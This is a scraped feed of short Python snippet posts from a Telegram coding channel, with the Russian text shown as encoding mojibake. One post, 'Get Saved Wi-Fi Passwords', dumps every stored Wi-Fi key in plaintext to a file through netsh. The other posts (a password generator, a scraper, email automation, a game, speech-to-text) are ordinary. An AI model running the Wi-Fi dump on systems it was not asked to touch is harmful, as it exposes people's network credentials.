πŸ–₯ 8 delightful Python scripts that will brighten your day 8 Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… скриптов Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ скрасят ваш дСнь Π­Ρ‚ΠΈ малСнькиС Π΄Ρ€Π°Π³ΠΎΡ†Π΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΌΠ½ΠΈ добавят Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ вСсСлья Π² ваши ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ. 1. ВСст скорости *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 1. 2. ΠšΠΎΠ½Π²Π΅Ρ€Ρ‚Π°Ρ†ΠΈΡ Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ Π² ΠΌΡƒΠ»ΡŒΡ‚ΡΡˆΠ½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 2. 3. Π’Ρ‹Π²ΠΎΠ΄ статуса сайта *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 3. 4. Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 4. 5. Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π²Π΅Π±-Π±ΠΎΡ‚Π° *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 5. 6. ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅: Hex Π² RGB *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 6. 7. ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ PDF Π² изобраТСния *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 7. 8. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ тСкст пСсни *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 8. @pythonl

πŸ”‘ Making a password generator with Python GUI Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ с графичСским интСрфСйсом Π½Π° Python. import random
+1
πŸ”‘ Making a password generator with Python GUI Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ с графичСским интСрфСйсом Π½Π° Python. import random import string import tkinter as tk import pyperclip root = tk.Tk() root.geometry('500x500') root.title('PASSWORD GENERATOR') letters = string.ascii_letters digits = string.digits special_chars = string.punctuation alphabet = letters + digits + special_chars pwd_length = '' pwd = '' def create_pass(): global alphabet global pwd_length global pwd pwd_length = int(pass_length.get()) pwd = '' for i in range(pwd_length): pwd += ''.join(random.choice(alphabet)) text_result.config(text=pwd) def copy_pwd(): if pwd == '': lbl_alert.config(text='Create a password first') else: pyperclip.copy(pwd) lbl_alert.config(text='Succesfuly copied') text_result = tk.Label(root, text='') text_result.pack() pass_length = tk.Entry(root) pass_length.pack() btn = tk.Button(root, text='Start', command=create_pass) btn.pack() btn_copy = tk.Button(root, text='Copy to clipboard', command=copy_pwd) btn_copy.pack() lbl_alert = tk.Label(root, text='') lbl_alert.pack() root.mainloop() @pythonl

πŸ“Ά Get Saved Wi-Fi Passwords Π‘ΠΊΡ€ΠΈΠΏΡ‚ для извлСчСния всСх сохранСнных wi-fi ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π² тСкстовый Ρ„Π°ΠΉΠ». import subprocess import
πŸ“Ά Get Saved Wi-Fi Passwords Π‘ΠΊΡ€ΠΈΠΏΡ‚ для извлСчСния всСх сохранСнных wi-fi ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Π² тСкстовый Ρ„Π°ΠΉΠ». import subprocess import re # Get all the Wi-Fi profiles (ssid) out = subprocess.check_output("netsh wlan show profiles").decode() # Filter out only profile names from the output matches = re.findall(r"(All User Profile)(.*)", out) # List comprehension to remove any \n \r \t and spaces profiles = [str(match[1]).split(":")[1].strip() for match in matches] # File object to store passwords with ssid with open("passwords.txt", "w+") as f: # Traversing each profile for profile in profiles: # try/except block to keep the script from crashing if there was an error while execution try: # Get password using key=clear flag get_pass = subprocess.check_output( f'netsh wlan show profile "{profile}" key=clear' ).decode() # Filter out the Password line from the output pass_by_profile = re.search(r"(Key Content)(.*)", get_pass) # Check if the password is present or wi-fi was open if pass_by_profile: password = pass_by_profile.group().split(":")[1].strip() else: password = "THE WIFI IS OPEN" # Write the profile name and password to the text file f.write(f"{profile} : {password}\n") except Exception: continue @pythonl

βš‘οΈΠœΠ°ΡΡ‚-хэв список программистов, ΠΊΠ°Π½Π°Π»Ρ‹ с послСдними ΠΊΠ½ΠΈΠΆΠ½Ρ‹ΠΌΠΈ Π½ΠΎΠ²ΠΈΠ½ΠΊΠ°ΠΌΠΈ, Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ, Ρ€Π°Π·Π±ΠΎΡ€ΠΎΠΌ ΠΊΠΎΠ΄Π° ΠΈ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, связанной с вашим языком программирования. Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ свСТиС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ ΠΈ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ‚Ρ€Π΅Π½Π΄Π°ΠΌΠΈ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc МашинноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: t.me/ai_machinelearning_big_data Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Π₯Π°ΠΊΠΈΠ½Π³: t.me/linuxkalii Java: t.me/javatg πŸ’Ό Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°: t.me/addlist/eEPya-HF6mkxMGIy 🎞 YouTube ΠΊΠ°Π½Π°Π»: https://www.youtube.com/@uproger πŸ˜†Π˜Π’-ΠœΠ΅ΠΌΡ‹: t.me/memes_prog πŸ‡¬πŸ‡§ΠΠ½Π³Π»ΠΈΠΉΡΠΊΠΈΠΉ: t.me/english_forprogrammers

πŸ€“ StackOverflow Question Scraper ΠŸΠ°Ρ€ΡΠ΅Ρ€ вопросов StackOverflow Π½Π° Python. from bs4 import BeautifulSoup import requests impo
πŸ€“ StackOverflow Question Scraper ΠŸΠ°Ρ€ΡΠ΅Ρ€ вопросов StackOverflow Π½Π° Python. from bs4 import BeautifulSoup import requests import json fmt = "https://stackoverflow.com/questions/tagged/{tag}?tab={filter}&pagesize=15" filters = [ "1. Newest", "2. Active", "3. Bounties", "4. Unanswered", "5. Frequent", "6. Votes", ] tag = input("enter any question tag (python, java)\n") print("\n".join(filters)) filter = int(input("enter the filter number (1, 3, 5)\n")) try: filter = filters[filter].split(" ")[-1] except: filter = "Votes" # generate dynamic URL with user preferences URL = fmt.format(tag=tag, filter=filter) print("generated URL ", URL) content = requests.get(URL).content soup = BeautifulSoup(content, "lxml") # return only question tags def is_question(tag): try: return tag.get("id").startswith("question-summary-") except: return False questions = soup.find_all(is_question) question_data = [] if questions: # extract question data like votes, title, link and date for question in questions: question_dict = {} question_dict["votes"] = ( question.find(class_="s-post-summary--stats-item-number").get_text().strip() ) h3 = question.find(class_="s-post-summary--content-title") question_dict["title"] = h3.get_text().strip() question_dict["link"] = "https://stackoverflow.com" + h3.find("a").get("href") question_dict["date"] = ( question.find(class_="s-user-card--time").span.get_text().strip() ) question_data.append(question_dict) with open(f"questions-{tag}.json", "w") as f: json.dump(question_data, f) print("file exported") else: print(URL) print("looks like there are no questions matching your tag ", tag) @pythonl

πŸ“© Python Email Automation: Enhancing Efficiency and Productivity with Streamlined Operations Автоматизация ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ элСктрон
πŸ“© Python Email Automation: Enhancing Efficiency and Productivity with Streamlined Operations Автоматизация ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π½Π° Python: ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ эффСктивности ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π·Π° счСт ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. import pandas as pd import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText def read_excel(file_name): data = pd.read_excel(file_name, engine='openpyxl') return data def send_email(receiver_address, sender_address, sender_pass, subject, body): msg = MIMEMultipart() msg['From'] = sender_address msg['To'] = receiver_address msg['Subject'] = subject msg.attach(MIMEText(body, 'plain')) # Use the appropriate SMTP server # For Gmail server = smtplib.SMTP('smtp.gmail.com', 587) # For Office 365 # server = smtplib.SMTP('smtp.office365.com', 587) # For iCloud # server = smtplib.SMTP('smtp.mail.me.com', 587) server.starttls() server.login(sender_address, sender_pass) text = msg.as_string() server.sendmail(sender_address, receiver_address, text) server.quit() def automate_emails(data_frame, sender_address, sender_pass, subject): for index, row in data_frame.iterrows(): send_email(row['email'], sender_address, sender_pass, subject, f"Hello {row['name']},\n{row['message']}") data_frame = read_excel('emailsend.xlsx') # Replace 'your-email@gmail.com' and 'your-password' with your own credentials. Pass the app password as the third parameter. automate_emails(data_frame, '', '', '') @pythonl

πŸ”’ How To Code a Simple Number Guessing Game in Python ПишСм ΠΈΠ³Ρ€Ρƒ для угадывания чисСл Π½Π° Python. # main.py import random # d
+1
πŸ”’ How To Code a Simple Number Guessing Game in Python ПишСм ΠΈΠ³Ρ€Ρƒ для угадывания чисСл Π½Π° Python. # main.py import random # define range and max_attempts lower_bound = 1 upper_bound = 1000 max_attempts = 10 # generate the secret number secret_number = random.randint(lower_bound, upper_bound) # Get the user's guess def get_guess(): while True: try: guess = int(input(f"Guess a number between {lower_bound} and {upper_bound}: ")) if lower_bound <= guess <= upper_bound: return guess else: print("Invalid input. Please enter a number within the specified range.") except ValueError: print("Invalid input. Please enter a valid number.") # Validate guess def check_guess(guess, secret_number): if guess == secret_number: return "Correct" elif guess < secret_number: return "Too low" else: return "Too high" # track the number of attempts, detect if the game is over def play_game(): attempts = 0 won = False while attempts < max_attempts: attempts += 1 guess = get_guess() result = check_guess(guess, secret_number) if result == "Correct": print(f"Congratulations! You guessed the secret number {secret_number} in {attempts} attempts.") won = True break else: print(f"{result}. Try again!") if not won: print(f"Sorry, you ran out of attempts! The secret number is {secret_number}.") if __name__ == "__main__": print("Welcome to the Number Guessing Game!") play_game() @pythonl

πŸŽ€πŸ”€ Embrace the Power of Speech-to-Text in Python! ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° Π½Π° языкС Python, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ Π±ΠΈ
πŸŽ€πŸ”€ Embrace the Power of Speech-to-Text in Python! ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° Π½Π° языкС Python, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ SpeechRecognition для прСобразования Ρ€Π΅Ρ‡ΠΈ Π² тСкст. pip install SpeechRecognition import speech_recognition as sr recognizer = sr.Recognizer() with sr.Microphone() as source: print("Say something...") recognizer.adjust_for_ambient_noise(source) # Optional: Adjust for background noise audio = recognizer.listen(source) audio_file = "path/to/your/audio_file.wav" # Replace with the path to your audio file with sr.AudioFile(audio_file) as source: audio = recognizer.listen(source) try: print("Converting speech to text...") text = recognizer.recognize_google(audio) print("You said:", text) except sr.UnknownValueError: print("Google Speech Recognition could not understand the audio.") except sr.RequestError as e: print("Could not request results from Google Speech Recognition service; {0}".format(e)) @pythonl